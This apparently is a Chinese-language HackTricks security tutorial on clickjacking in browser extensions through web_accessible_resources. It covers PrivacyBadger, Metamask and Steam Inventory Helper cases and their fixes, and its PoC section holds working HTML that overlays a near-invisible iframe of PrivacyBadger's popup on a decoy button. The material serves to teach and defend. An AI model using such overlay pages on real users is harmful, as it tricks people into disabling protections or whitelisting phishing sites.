6.7 KiB
BrowExt - 点击劫持
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中被广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们独家的NFTs收藏品
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
基本信息
本页面将利用浏览器扩展中的点击劫持漏洞。
如果您不知道什么是点击劫持,请查看:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
扩展包含文件**manifest.json
**,而该JSON文件具有一个字段web_accessible_resources
。以下是Chrome文档对此的解释:
这些资源将通过URL
chrome-extension://[PACKAGE ID]/[PATH]
在网页中可用,可以使用**extension.getURL方法
**生成。经过白名单授权的资源将使用适当的CORS标头提供,因此可以通过诸如XHR之类的机制访问。1
浏览器扩展中的**web_accessible_resources
**不仅可以通过网络访问,还可以利用扩展的固有特权。这意味着它们具有以下功能:
- 更改扩展的状态
- 加载其他资源
- 在一定程度上与浏览器交互
然而,这个功能存在安全风险。如果**web_accessible_resources
**中的资源具有任何重要功能,攻击者可能会将此资源嵌入到外部网页中。访问此页面的无意用户可能会意外激活此嵌入式资源。根据扩展资源的权限和功能,此激活可能导致意想不到的后果。
PrivacyBadger示例
在扩展程序PrivacyBadger中,发现了一个与skin/
目录声明为web_accessible_resources
相关的漏洞,声明方式如下(查看原始博客文章):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
这种配置导致了潜在的安全问题。具体来说,skin/popup.html
文件在与浏览器中的 PrivacyBadger 图标交互时呈现,可能被嵌入到一个 iframe
中。这种嵌入可能被利用来欺骗用户,使其无意中点击“为此网站禁用 PrivacyBadger”。这样的操作将通过禁用 PrivacyBadger 保护来危及用户的隐私,并可能使用户受到更多跟踪的影响。可以在提供的 ClickJacking 视频示例中查看此漏洞的视觉演示:https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm。
为了解决这个漏洞,实施了一个简单直接的解决方案:从 web_accessible_resources
列表中移除 /skin/*
。这一变更有效地通过确保 skin/
目录的内容不能通过 web 可访问资源访问或操纵来减轻了风险。
修复方法很简单:从 web_accessible_resources
中移除 /skin/*
。
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Example
关于Metamask中ClickJacking的博文可以在这里找到。在这种情况下,Metamask通过检查用于访问它的协议是否为**https:
或http:
(例如不是chrome:
**)来修复了漏洞:
Metamask扩展中的另一个ClickJacking漏洞是用户可以在页面可疑被钓鱼时点击以将其加入白名单,因为存在“web_accessible_resources”: [“inpage.js”, “phishing.html”]
。由于该页面容易受到Clickjacking攻击,攻击者可以滥用它显示正常内容,使受害者在不知情的情况下点击将其加入白名单,然后返回到被加入白名单的钓鱼页面。
Steam Inventory Helper Example
查看以下页面,了解浏览器扩展中的XSS是如何与ClickJacking漏洞链接在一起的:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
References
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS Family,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @carlospolopm上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。